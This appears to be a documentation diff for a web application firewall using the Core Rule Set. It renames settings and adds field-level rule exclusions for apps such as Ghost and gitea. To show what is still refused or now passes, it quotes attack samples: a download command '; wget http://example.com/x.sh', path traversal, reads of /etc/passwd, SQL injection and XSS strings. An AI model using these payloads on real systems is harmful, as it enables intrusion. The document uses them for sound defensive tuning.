- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and
|
||||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` are the Core Rule Set's own two
|
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning
|
||||||
tuning values, at its own defaults. Each level up runs more rules, which find
|
values, at its own defaults. Each level up runs more rules, which find more
|
||||||
more attacks and take more ordinary requests for attacks. Each rule that
|
attacks and take more ordinary requests for attacks. Each rule that matches
|
||||||
matches adds its score to the request's, and a rule rated critical adds 5. A
|
adds its score to the request's, and a rule rated critical adds 5. A request
|
||||||
request whose score reaches the threshold is a match, so by default one
|
whose score reaches the threshold is a match, so by default one critical rule
|
||||||
critical rule is enough. With the threshold `off`, nothing is a match, and
|
is enough. With the threshold `off`, nothing is a match, and scores are still
|
||||||
scores are still logged. A request with more than 1000 query parameters or
|
logged. A request with more than 1000 query parameters or body fields adds 5
|
||||||
body fields adds 5 to its score, since Coraza reads only the first 1000. For a
|
to its score, since Coraza reads only the first 1000. For a match, in `block`
|
||||||
match, in `block` and `detect` mode alike, the log line gives the rule ids and
|
and `detect` mode alike, the log line gives the rule ids and the score, and a
|
||||||
the score, and a `core_rule_set_match` alert is sent.
|
`core_rule_set_match` alert is sent.
|
||||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips
|
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips
|
||||||
a false positive. The default switches off six rules:
|
a false positive. The default switches off six rules:
|
||||||
- 920340, 920420 and 920640 refuse a request for the type of its body, when
|
- 920340, 920420 and 920640 refuse a request for the type of its body, when
|
||||||
@@ -707,14 +711,14 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's
|
loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's
|
||||||
rules is loaded yet.
|
rules is loaded yet.
|
||||||
|
|
||||||
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` switches body inspection on, up to that
|
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up
|
||||||
size. It takes at most `64K`, since `waf` gets no more of a body than that
|
to that size. It takes at most `64K`, since `waf` gets no more of a body than
|
||||||
(see "The answer"). Form data and multipart bodies are read up to the size.
|
that (see "The answer"). Form data and multipart bodies are read up to the
|
||||||
JSON and XML bodies are read only when no larger than the size, since those
|
size. JSON and XML bodies are read only when no larger than the size, since
|
||||||
cannot be read in part. Any other body is not read: the Core Rule Set would
|
those cannot be read in part. Any other body is not read: the Core Rule Set
|
||||||
read it as form data, where binary content such as a git push trips rules
|
would read it as form data, where binary content such as a git push trips
|
||||||
written for text. A body the Core Rule Set cannot parse adds 5 to the score,
|
rules written for text. A body the Core Rule Set cannot parse adds 5 to the
|
||||||
and so does a multipart body cut by the limit in the middle of a part's
|
score, and so does a multipart body cut by the limit in the middle of a part's
|
||||||
header. Body inspection suits apps whose forms carry no code.
|
header. Body inspection suits apps whose forms carry no code.
|
||||||
- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask
|
- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask
|
||||||
for, such as `/wp-login.php` in front of an app that is not WordPress. This is
|
for, such as `/wp-login.php` in front of an app that is not WordPress. This is
|
||||||
@@ -723,8 +727,8 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
the path as sent and once percent-decoded: `/wp-login.php` matches
|
the path as sent and once percent-decoded: `/wp-login.php` matches
|
||||||
`/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/`
|
`/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/`
|
||||||
or `/blog/wp-login.php`.
|
or `/blog/wp-login.php`.
|
||||||
- `SWW_WAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these
|
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of
|
||||||
kinds, and of no other:
|
these kinds, and of no other:
|
||||||
- a rule file match;
|
- a rule file match;
|
||||||
- a trap path;
|
- a trap path;
|
||||||
- a Core Rule Set match.
|
- a Core Rule Set match.
|
||||||
@@ -748,10 +752,10 @@ every app, and no setting undoes them:
|
|||||||
Core Rule Set does not read, which by default is every request. git
|
Core Rule Set does not read, which by default is every request. git
|
||||||
compresses a fetch request over 1 KiB and says so in that header. On a body
|
compresses a fetch request over 1 KiB and says so in that header. On a body
|
||||||
the Core Rule Set does read, the header stays refused, since a compressed
|
the Core Rule Set does read, the header stays refused, since a compressed
|
||||||
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set, it
|
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
|
||||||
stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV
|
is set, it stays refused too on a `PUT` of JSON, XML or form data to
|
||||||
paths, whose body Nextcloud's fixes leave unread. The other headers the Core
|
Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The
|
||||||
Rule Set refuses, such as `Proxy`, stay refused.
|
other headers the Core Rule Set refuses, such as `Proxy`, stay refused.
|
||||||
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
||||||
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
||||||
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
||||||
@@ -812,7 +816,7 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
- `artifactName` and `redirect_to`.
|
- `artifactName` and `redirect_to`.
|
||||||
|
|
||||||
They skip these rules in the query, and in a form data or multipart body
|
They skip these rules in the query, and in a form data or multipart body
|
||||||
while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
|
while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
|
||||||
|
|
||||||
gitea puts into them file paths, branch and workflow names, and the page to
|
gitea puts into them file paths, branch and workflow names, and the page to
|
||||||
return to after signing in. It reads these values as names in a repository
|
return to after signing in. It reads these values as names in a repository
|
||||||
@@ -879,11 +883,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
which refused `org.apache.commons.logging`.
|
which refused `org.apache.commons.logging`.
|
||||||
|
|
||||||
A branch, tag or package name can hold a slash, as `feat/docker-support`
|
A branch, tag or package name can hold a slash, as `feat/docker-support`
|
||||||
does. So `q` skips the rule for shell paths (932160) too on these pages,
|
does. So `q` skips the rule for shell paths (932160) too on these
|
||||||
where it refused `/bin/sh`:
|
searches, where it refused `/bin/sh`:
|
||||||
- a repository's branches, tags and packages pages;
|
- a repository's branches, tags and packages pages;
|
||||||
- an owner's packages page;
|
- an owner's packages page;
|
||||||
- the admin page of packages.
|
- the admin page of packages;
|
||||||
|
- the API's search of packages.
|
||||||
|
|
||||||
- `q` on gitea's other searches, for the same four rules. Words such as
|
- `q` on gitea's other searches, for the same four rules. Words such as
|
||||||
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
|
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
|
||||||
@@ -898,12 +903,19 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
- the runner lists of the site, a user, an organisation and a
|
- the runner lists of the site, a user, an organisation and a
|
||||||
repository;
|
repository;
|
||||||
- the admin lists of users, organisations, repositories, unadopted
|
- the admin lists of users, organisations, repositories, unadopted
|
||||||
repositories and emails.
|
repositories and emails;
|
||||||
|
- the API's searches of topics, of an organisation's teams and of
|
||||||
|
emails.
|
||||||
|
|
||||||
Most send `q` in the query string. The admin forms that adopt a
|
Most send `q` in the query string. The admin forms that adopt a
|
||||||
repository or activate an email send it in the body. gitea serves its
|
repository or activate an email send it in the body. gitea serves its
|
||||||
admin pages under `/-/admin/` and Forgejo under `/admin/`.
|
admin pages under `/-/admin/` and Forgejo under `/admin/`.
|
||||||
|
|
||||||
|
- Two fields of the API's searches other than `q`, for the same four rules:
|
||||||
|
- `query` of the search of unadopted repositories, which holds an owner
|
||||||
|
and a name, such as `alice/python3-app`;
|
||||||
|
- `name` of the search of a repository's milestones.
|
||||||
|
|
||||||
- The path of these requests, which names a file:
|
- The path of these requests, which names a file:
|
||||||
- a file's page;
|
- a file's page;
|
||||||
- its raw file;
|
- its raw file;
|
||||||
@@ -971,8 +983,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
|||||||
and `fix-powershell-module` were refused.
|
and `fix-powershell-module` were refused.
|
||||||
`; wget http://example.com/x.sh` and path traversal are still refused in
|
`; wget http://example.com/x.sh` and path traversal are still refused in
|
||||||
these fields. These exclusions matter only while
|
these fields. These exclusions matter only while
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. None applies when the query
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when
|
||||||
has a parameter of the same name.
|
the query has a parameter of the same name.
|
||||||
|
|
||||||
- `id` of the forms that adopt or delete an unadopted repository, for the
|
- `id` of the forms that adopt or delete an unadopted repository, for the
|
||||||
rules that refused repository names (930120, 932120, 932160, 932260). `id`
|
rules that refused repository names (930120, 932120, 932160, 932260). `id`
|
||||||
@@ -1066,7 +1078,8 @@ The fields are:
|
|||||||
the lists of system files, shell paths, command names and JavaScript names
|
the lists of system files, shell paths, command names and JavaScript names
|
||||||
(930120, 932120, 932160, 932260, 941180).
|
(930120, 932120, 932160, 932260, 941180).
|
||||||
- These fields of a body. Each applies only when the query has no parameter of
|
- These fields of a body. Each applies only when the query has no parameter of
|
||||||
that name, so it matters only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set:
|
that name, so it matters only while
|
||||||
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set:
|
||||||
- `content` of a post, a page, a template or a template part saved through
|
- `content` of a post, a page, a template or a template part saved through
|
||||||
the REST API. It holds HTML and any code it shows.
|
the REST API. It holds HTML and any code it shows.
|
||||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||||
@@ -1193,8 +1206,8 @@ These fields of a body skip the rules that refused them:
|
|||||||
for the same four rules.
|
for the same four rules.
|
||||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||||
|
|
||||||
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
|
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
|
||||||
None applies when the query has a parameter of the same name.
|
is set. None applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
||||||
site root, with or without a language prefix such as `/fr`. Such a prefix is any
|
site root, with or without a language prefix such as `/fr`. Such a prefix is any
|
||||||
@@ -1294,8 +1307,9 @@ These fields of a body skip the rules that refused them:
|
|||||||
have a namespace, such as `Special:`. The title follows `/index.php/` or
|
have a namespace, such as `Special:`. The title follows `/index.php/` or
|
||||||
`/wiki/` in the path, or is the `title` of `/index.php`.
|
`/wiki/` in the path, or is the `title` of `/index.php`.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
These body exclusions matter only while
|
||||||
set. None applies when the query has a parameter of the same name.
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||||
|
has a parameter of the same name.
|
||||||
|
|
||||||
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
|
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
|
||||||
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
|
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
|
||||||
@@ -1448,8 +1462,9 @@ items.
|
|||||||
`<img src=x onerror=x()>` sent as a password reach Mastodon;
|
`<img src=x onerror=x()>` sent as a password reach Mastodon;
|
||||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
These body exclusions matter only while
|
||||||
set. None applies when the query has a parameter of the same name.
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||||
|
has a parameter of the same name.
|
||||||
|
|
||||||
The names of uploaded files skip 932180 on these paths:
|
The names of uploaded files skip 932180 on these paths:
|
||||||
|
|
||||||
@@ -1514,8 +1529,9 @@ The addresses skip them on these paths too:
|
|||||||
- `/api/auth-requests` and the paths under it, for signing in with another
|
- `/api/auth-requests` and the paths under it, for signing in with another
|
||||||
device.
|
device.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
These body exclusions matter only while
|
||||||
set. None applies when the query has a parameter of the same name.
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||||
|
has a parameter of the same name.
|
||||||
|
|
||||||
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
||||||
930120, 932120 and 932260 too.
|
930120, 932120 and 932260 too.
|
||||||
@@ -1688,10 +1704,11 @@ A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
|
|||||||
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
|
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
|
||||||
two paths.
|
two paths.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
These body exclusions matter only while
|
||||||
set. None applies to a JSON field when the query has a parameter of that name,
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON
|
||||||
such as `json.message`. Nextcloud's pages are matched at the site root and under
|
field when the query has a parameter of that name, such as `json.message`.
|
||||||
`/index.php/`. Elsewhere these fields keep every rule.
|
Nextcloud's pages are matched at the site root and under `/index.php/`.
|
||||||
|
Elsewhere these fields keep every rule.
|
||||||
|
|
||||||
Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
|
Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
|
||||||
gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
|
gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
|
||||||
@@ -1738,7 +1755,7 @@ Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
|
|||||||
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
|
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
|
||||||
and `to` skip the lists of Windows commands and command names (932120, 932260),
|
and `to` skip the lists of Windows commands and command names (932120, 932260),
|
||||||
which refused `fix-powershell-module` and `feat/docker-support`. This matters
|
which refused `fix-powershell-module` and `feat/docker-support`. This matters
|
||||||
only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
|
only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
|
||||||
|
|
||||||
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
|
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
|
||||||
puts what gitea puts in `gitea_flash` (gitea's second fix).
|
puts what gitea puts in `gitea_flash` (gitea's second fix).
|
||||||
@@ -1747,31 +1764,87 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
|||||||
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
|
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
|
||||||
and the request it refused. Ghost's admin and integrations call the Admin API
|
and the request it refused. Ghost's admin and integrations call the Admin API
|
||||||
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
||||||
`/ghost/api/content/`, and members call `/members/api/`.
|
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
|
||||||
|
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
|
||||||
|
|
||||||
Three query fields skip some rules:
|
Eight rules refused words that name commands and files, such as `python3`,
|
||||||
|
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
|
||||||
|
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
|
||||||
|
|
||||||
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
|
These query fields skip some rules:
|
||||||
API and the Content API, so `tag:powershell` passes;
|
|
||||||
|
- `filter`, a query in Ghost's own filter language, skips those eight rules
|
||||||
|
except 930120, on the Admin API and the Content API;
|
||||||
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
||||||
the Admin API;
|
the Admin API;
|
||||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||||
930120 and 932120.
|
930120 and 932120;
|
||||||
|
- `source` and the `utm_` fields, which filter the analytics, skip those eight
|
||||||
|
rules under `/ghost/api/admin/stats/`;
|
||||||
|
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
|
||||||
|
there;
|
||||||
|
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||||
|
on the Admin API's posts;
|
||||||
|
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
||||||
|
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
|
||||||
|
|
||||||
The fields of JSON bodies where a person types plain text skip 930120, 932120,
|
The fields of JSON bodies where a person types plain text skip those eight
|
||||||
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
|
rules. They are these fields of posts, pages, tags, labels, members, newsletters
|
||||||
pages, tags, labels, members, newsletters and snippets, on the Admin API:
|
and snippets, on the Admin API:
|
||||||
|
|
||||||
- `title`, `name` and `slug`;
|
- `title`, `name` and `slug`;
|
||||||
- a post's `tags` and a member's `labels`, by name or slug;
|
- a post's `tags` and a member's `labels`, by name or slug;
|
||||||
- `custom_excerpt`, `description`, `note` and `sender_name`;
|
- `custom_excerpt`, `description`, `note` and `sender_name`;
|
||||||
- the `meta_`, `og_` and `twitter_` titles and descriptions.
|
- the `meta_`, `og_` and `twitter_` titles and descriptions.
|
||||||
|
|
||||||
A member's `name` at `/members/api/` skips them too. A member's `email` skips
|
These fields on the Admin API skip them too:
|
||||||
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
|
|
||||||
member. A staff user's address skips them too: `username` when signing in, and
|
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
|
||||||
`email` when creating the first staff user, asking for a password reset or
|
- `blogTitle` and `name` when creating the first staff user;
|
||||||
saving a profile.
|
- `name` when accepting an invitation;
|
||||||
|
- `name`, `description` and `benefits` of tiers;
|
||||||
|
- `name`, `code`, `display_title` and `display_description` of offers;
|
||||||
|
- `title`, `description` and `excerpt` of recommendations;
|
||||||
|
- `name` and `description` of integrations, and `name` of webhooks;
|
||||||
|
- `feature_image_alt` and `feature_image_caption` of posts and pages.
|
||||||
|
|
||||||
|
These fields skip them on their own paths:
|
||||||
|
|
||||||
|
- a member's `name` at `/members/api/`;
|
||||||
|
- `html` of a member's comment at `/members/api/comments/`;
|
||||||
|
- `labels`, when the admin imports members from a CSV file;
|
||||||
|
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
|
||||||
|
description of its image;
|
||||||
|
- `name`, `username` and `bio` of the account in ActivityPub.
|
||||||
|
|
||||||
|
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
|
||||||
|
the admin adds or edits a member. A staff user's address skips them too. It is
|
||||||
|
sent as `username` when signing in, and as `email` in these requests:
|
||||||
|
|
||||||
|
- creating the first staff user;
|
||||||
|
- asking for a password reset;
|
||||||
|
- saving a profile;
|
||||||
|
- inviting a staff user;
|
||||||
|
- accepting an invitation.
|
||||||
|
|
||||||
|
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
|
||||||
|
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
|
||||||
|
its rules only on its own path:
|
||||||
|
|
||||||
|
- `sourceHandle`, an account that moves here, when it is added at
|
||||||
|
`/.ghost/activitypub/v1/aliases`;
|
||||||
|
- `actorUri`, that account's address, when the admin removes it there;
|
||||||
|
- `targetHandle`, the account this one moves to, at
|
||||||
|
`/.ghost/activitypub/v1/migration`;
|
||||||
|
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
||||||
|
`/.ghost/activitypub/v1/domain/validate`.
|
||||||
|
|
||||||
|
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
|
||||||
|
does. Each skips them only on its own path:
|
||||||
|
|
||||||
|
- a post's under `/ghost/api/admin/posts/`;
|
||||||
|
- a page's under `/ghost/api/admin/pages/`;
|
||||||
|
- a tag's under `/ghost/api/admin/tags/`.
|
||||||
|
|
||||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||||
|
|
||||||
@@ -1791,12 +1864,14 @@ The articles skip these rules:
|
|||||||
Code injection is the HTML that Ghost adds to the head and the foot of a page.
|
Code injection is the HTML that Ghost adds to the head and the foot of a page.
|
||||||
These fields on the Admin API hold it:
|
These fields on the Admin API hold it:
|
||||||
|
|
||||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||||
- `value` of settings, since the site's settings hold its code injection.
|
- `value` of settings, since the site's settings hold its code injection.
|
||||||
|
|
||||||
Code injection skips these rules:
|
Code injection skips these rules:
|
||||||
|
|
||||||
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
|
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
|
||||||
|
refused words that name commands and files, such as the site's title
|
||||||
|
`powershell & python3`;
|
||||||
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
||||||
elements.
|
elements.
|
||||||
|
|
||||||
@@ -1805,15 +1880,22 @@ card can embed a widget and code injection can load analytics. These are the
|
|||||||
fields, on the Admin API:
|
fields, on the Admin API:
|
||||||
|
|
||||||
- `lexical`, `mobiledoc` and `html` of posts and pages;
|
- `lexical`, `mobiledoc` and `html` of posts and pages;
|
||||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||||
- `value` of settings.
|
- `value` of settings.
|
||||||
|
|
||||||
`<script>alert(1)</script>` is still refused in snippets and newsletters.
|
`<script>alert(1)</script>` is still refused in snippets and newsletters.
|
||||||
`javascript:alert(1)` is still refused in the articles and code injection
|
`javascript:alert(1)` is still refused in the articles and code injection
|
||||||
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
||||||
field above. Script injection is too, outside the articles and code injection.
|
field above. Script injection is too, outside the articles and code injection.
|
||||||
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
|
|
||||||
text and the addresses.
|
`; wget http://example.com/x.sh` is still refused in these fields:
|
||||||
|
|
||||||
|
- the addresses, the handles and the domain;
|
||||||
|
- the `canonical_url` of posts, pages and tags;
|
||||||
|
- `search`, `url`, `pathname`, `email_segment` and `email`.
|
||||||
|
|
||||||
|
The other fields above skip 932235, which refuses that command but also refuses
|
||||||
|
`powershell & python3`.
|
||||||
|
|
||||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||||
That name holds `.profile`, a file on the list of system files, so the name
|
That name holds `.profile`, a file on the list of system files, so the name
|
||||||
@@ -1826,9 +1908,10 @@ resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`,
|
|||||||
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
|
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
|
||||||
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
These body exclusions matter only while
|
||||||
set. None applies when the query has a parameter of the same name. Elsewhere
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||||
these fields keep every rule. The paths are those of Ghost at the site root.
|
has a parameter of the same name. Elsewhere these fields keep every rule. The
|
||||||
|
paths are those of Ghost at the site root.
|
||||||
|
|
||||||
Each app's fixes switch rules off for some of its fields and cookies. Any other
|
Each app's fixes switch rules off for some of its fields and cookies. Any other
|
||||||
app on a hostname that gets those fixes must check those fields and cookies
|
app on a hostname that gets those fixes must check those fields and cookies
|
||||||
@@ -1910,7 +1993,7 @@ together.
|
|||||||
- an answer in `127.255.255.0/24`;
|
- an answer in `127.255.255.0/24`;
|
||||||
- an answer outside `127.0.0.0/8`;
|
- an answer outside `127.0.0.0/8`;
|
||||||
- a resolver error;
|
- a resolver error;
|
||||||
- no answer within `SWW_WAF_REPUTATION_TIMEOUT`.
|
- no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
|
||||||
|
|
||||||
DNS blocklists made for mail servers list residential ranges, and would
|
DNS blocklists made for mail servers list residential ranges, and would
|
||||||
block ordinary visitors, so they should not be used. Spamhaus zones need
|
block ordinary visitors, so they should not be used. Spamhaus zones need
|
||||||
@@ -1935,13 +2018,13 @@ together.
|
|||||||
after which no client is checked for a minute, when:
|
after which no client is checked for a minute, when:
|
||||||
- AbuseIPDB answers other than `200`;
|
- AbuseIPDB answers other than `200`;
|
||||||
- the answer gives no score;
|
- the answer gives no score;
|
||||||
- no answer comes within `SWW_WAF_REPUTATION_TIMEOUT`.
|
- no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
|
||||||
- `SWW_WAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is
|
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is
|
||||||
`limit:25` by default. Such verdicts are less certain than a blocklist, so a
|
`limit:25` by default. Such verdicts are less certain than a blocklist, so a
|
||||||
listed client gets a quarter of every request and byte limit rather than a
|
listed client gets a quarter of every request and byte limit rather than a
|
||||||
refusal.
|
refusal.
|
||||||
- Verdicts and scores are kept for `SWW_WAF_REPUTATION_CACHE_TTL`, in memory and
|
- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory
|
||||||
in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
|
and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
|
||||||
quota gives no verdict. The service continues. Each failure raises a
|
quota gives no verdict. The service continues. Each failure raises a
|
||||||
`source_failure` alert (see "Alerting").
|
`source_failure` alert (see "Alerting").
|
||||||
|
|
||||||
@@ -1978,13 +2061,13 @@ which the metrics show. They reveal a widely distributed scraper, thousands of
|
|||||||
addresses at low rates each, which the per-client limits do not see. A low
|
addresses at low rates each, which the per-client limits do not see. A low
|
||||||
percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
|
percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
|
||||||
|
|
||||||
- Requests and body bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted per
|
- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted
|
||||||
minute and per hour, for each of:
|
per minute and per hour, for each of:
|
||||||
- a client;
|
- a client;
|
||||||
- the surrounding netblock;
|
- the surrounding netblock;
|
||||||
- an AS number;
|
- an AS number;
|
||||||
- the whole service;
|
- the whole service;
|
||||||
- a named netblock in `SWW_WAF_WATCH_NETS`.
|
- a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`.
|
||||||
- Every request `waf` answers with `allow`, `deny` or `close` is counted, an
|
- Every request `waf` answers with `allow`, `deny` or `close` is counted, an
|
||||||
allowed one when its report comes. That holds whatever was done with it, and
|
allowed one when its report comes. That holds whatever was done with it, and
|
||||||
for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`,
|
for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`,
|
||||||
@@ -1993,9 +2076,9 @@ percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
|
|||||||
|
|
||||||
## Rule files
|
## Rule files
|
||||||
|
|
||||||
`waf` reads every `*.rules` file in `SWW_WAF_RULES_DIR` and checks each request
|
`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each
|
||||||
against them. `docs/rules.md` gives the format, the targets and actions, and the
|
request against them. `docs/rules.md` gives the format, the targets and actions,
|
||||||
default file.
|
and the default file.
|
||||||
|
|
||||||
- The files are plain text meant to be edited by hand, so that a new scanning
|
- The files are plain text meant to be edited by hand, so that a new scanning
|
||||||
